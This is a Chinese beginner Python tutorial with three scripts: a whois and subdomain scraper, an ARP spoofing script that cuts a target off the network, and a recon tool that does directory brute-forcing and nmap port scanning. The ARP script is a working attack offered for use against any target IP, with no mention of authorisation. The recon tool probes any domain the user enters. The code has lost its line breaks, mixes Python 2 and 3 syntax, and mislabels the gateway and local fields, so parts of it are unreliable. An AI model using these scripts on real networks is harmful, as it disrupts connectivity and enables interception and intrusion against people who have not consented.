前言
为了满足新手对Python的追求,特写了三个初级Python入门工具。第一期写了三个初级工具,希望新手看完以后可以对Python的脚本有一个基本了解。
一件套:pythond requests模块,构造一个whois信息收集器;
二件套:Python编写一个arp断网攻击;
三件套:目录信息收集。
一件套前言: 带给想写项目但无从下手的朋友们,这些脚本都比较容易理解
简单梳理一下此工具需要具备哪些功能。脚本获取信息如下:
IP信息
子域名
备案
注册人
邮箱
地址
电话
DNS
具体操作如下:
我们要用到的模块是requests
python环境:py3
安装方法:
pip install requests或python steup.py install
通过http://site.ip138.com来进行查询
http://site.ip138.com/输入你要查询的域名/domain.html #这个目录用于查询IP解析记录
htp://site.ip138.com/输入你要查询的域名/beian.html #这个用于查询子域名
http://site.ip138.com/输入你要查询的域名/whois.html #这个用于进行whois查询
好了现在我们开始构造我们的代码,代码里面有详细的注释
#首先我们要导入requests模块和bs4模块里的BeautifulSoup和time模块import requestsimport timefrom bs4 import BeautifulSoup#设置好开始时间点strat=time.time()def chax(): #询问用户要查询的域名 lid=input('请输入你要查询的域名:') #设置浏览器头过反爬 head={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'} #设置好url url="http://site.ip138.com/{}/".format(lid) urldomain="http://site.ip138.com/{}/domain.htm".format(lid) url2="http://site.ip138.com/{}/beian.htm".format(lid) url3="http://site.ip138.com/{}/whois.htm".format(lid) #打开网页 rb=requests.get(url,headers=head) rb1=requests.get(urldomain,headers=head) rb2=requests.get(url2,headers=head) rb3=requests.get(url3,headers=head) #获取内容并用html的方式返回 gf=BeautifulSoup(rb.content,'html.parser') print('[+]IP解析记录') #读取内容里的p标签 for x in gf.find_all('p'): #使用text的内容返回 link=x.get_text() print(link)gf1=BeautifulSoup(rb1.content,'html.parser')print('[+]子域名查询')for v in gf1.find_all('p'): link2=v.get_text() print(link2)gf2=BeautifulSoup(rb2.content,'html.parser')print('[+]备案查询')for s in gf2.find_all('p'): link3=s.get_text() print(link3)gf3=BeautifulSoup(rb3.content,'html.parser')print('[+]whois查询')for k in gf3.find_all('p'): link4=k.get_text() print(link4)chax()end=time.time()print('查询耗时:',end-strat)
二件套: 使用python编写一个arp断网攻击
你们知道arp攻击的原理吗?如果不知道不要紧,下面开始介绍
arp攻击原理:
通过伪造IP地址与MAC地址实现ARP欺骗,在网络发送大量ARP通信量。攻击者只要持续不断发送arp包就能造成中间人攻击或者断网攻击。(PS:我们只需要scapy里的一些参数就可以实现)
scapy介绍:
Scapy是一个Python程序,使用户能够发送,嗅探和剖析和伪造网络数据包。此功能允许构建可以探测,扫描或攻击网络的工具。
换句话说,Scapy是一个功能强大的交互式数据包处理程序。它能够伪造或解码大量协议的数据包,在线上发送,捕获,匹配请求和回复等等。Scapy可以轻松处理大多数经典任务,如扫描,追踪,探测,单元测试,攻击或网络发现。它可以替代hping,arpspoof,arp-sk,arping,pf,甚至是Nmap,tcpdump和tshark的某些部分。scapy的一个小例子:
ps:scapy正确的食用手册请认真看完介绍和部分基础:【传送门】
安装scapy:
py2安装方法:
pip install scapy
py3安装方法:
pip install scapy3
更多的安装方法:【传送门】
我的系统环境是:Kali Linux下
各位读者可以考虑一些使用以下系统环境:
Centos
Ubuntu
Mac os
ps:尽量不要使用windows,windows会报错!
缺少windows.dll,具体这个dll安装后会不会又报错官方没给出答复
编写攻击的脚本: Ether是构造网络数据包 ARP进行ARP攻击 sendp进行发包
import osimport sysfrom scapy.layers.l2 import getmacbyipfrom scapy.all import ( Ether, ARP, sendp) #执行查看IP的命令ifconfig=os.system('ifconfig')print ifconfiggmac=raw_input('Please enter gateway IP:')liusheng=raw_input('Please enter your IP:')liusrc=raw_input('Please enter target IP:')try: #获取目标的mac tg=getmacbyip(liusrc) print tgexcept Exception , f: print '[-]{}'.format(f) exit()def arpspoof(): try: eth=Ether() arp=ARP( op="is-at", #arp响应 hwsrc=gmac, #网关mac psrc=liusheng,#网关IP hwdst=tg,#目标Mac pdst=liusrc#目标IP ) #对配置进行输出 print ((eth/arp).show()) #开始发包 sendp(eth/arp,inter=2,loop=1) except Exception ,g: print '[-]{}'.format(g) exit()arpspoof()
从受害者角度看
三件套: 想要挖web漏洞就必须做好前面的信息收集
下面我们来写一个收集信息的脚本。
准备:
安装好requests,bs4模块: pip install requests pip install bs4 或者去下载好对应的模块压缩包 然后找到steup.py执行python steup.py install
思路: 使用requests.headers()获取http头部信息 通过htp响应码来判断robots是否存在 通过http响应码判断存在的目录 通过nmap判断开放的端口(PS:这里我是使用os模块来进行nmap命令扫描)我这边的nmap模块一调用,nmap就会出现停止运行 通过爬取某网站获得对应的whois,IP反查域名的信息。
开始:
import requestsimport osimport socketfrom bs4 import BeautifulSoupimport time#获取http指纹def Webfingerprintcollection(): global lgr lgr=input('请输入目标域名:') url="http://{}".format(lgr) header={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'} r=requests.get(url,headers=header) xyt=r.headers for key in xyt: print(key,':',xyt[key])Webfingerprintcollection()print('================================================')#判断有无robots.txtdef robots(): urlsd="http://{}/robots.txt".format(lgr) header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'} gf=requests.get(urlsd,headers=header,timeout=8) if gf.status_code == 200: print('robots.txt存在') print('[+]该站存在robots.txt',urlsd) else: print('[-]没有robots.txt')robots()print("=================================================")#目录扫描def Webdirectoryscanner(): dict=open('build.txt','r',encoding='utf-8').read().split('\n') for xyt in dict: try: header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'} urljc="http://"+lgr+"{}".format(xyt) rvc=requests.get(urljc,headers=header,timeout=8) if rvc.status_code == 200: print('[*]',urljc) except: print('[-]远程主机强迫关闭了一个现有的连接')Webdirectoryscanner()print("=====================================================")s = socket.gethostbyname(lgr)#端口扫描def portscanner(): o=os.system('nmap {} program'.format(s)) print(o)portscanner()print('======================================================')#whois查询def whois(): heads={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'} urlwhois="http://site.ip138.com/{}/whois.htm".format(lgr) rvt=requests.get(urlwhois,headers=heads) bv=BeautifulSoup(rvt.content,"html.parser") for line in bv.find_all('p'): link=line.get_text() print(link)whois()print('======================================================')#IP反查域名def IPbackupdomainname(): wu=socket.gethostbyname(lgr) rks="http://site.ip138.com/{}/".format(wu) rod={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'} sjk=requests.get(rks,headers=rod) liverou=BeautifulSoup(sjk.content,'html.parser') for low in liverou.find_all('li'): bc=low.get_text() print(bc)IPbackupdomainname()print('=======================================================')

关于Python技术储备
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Python所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
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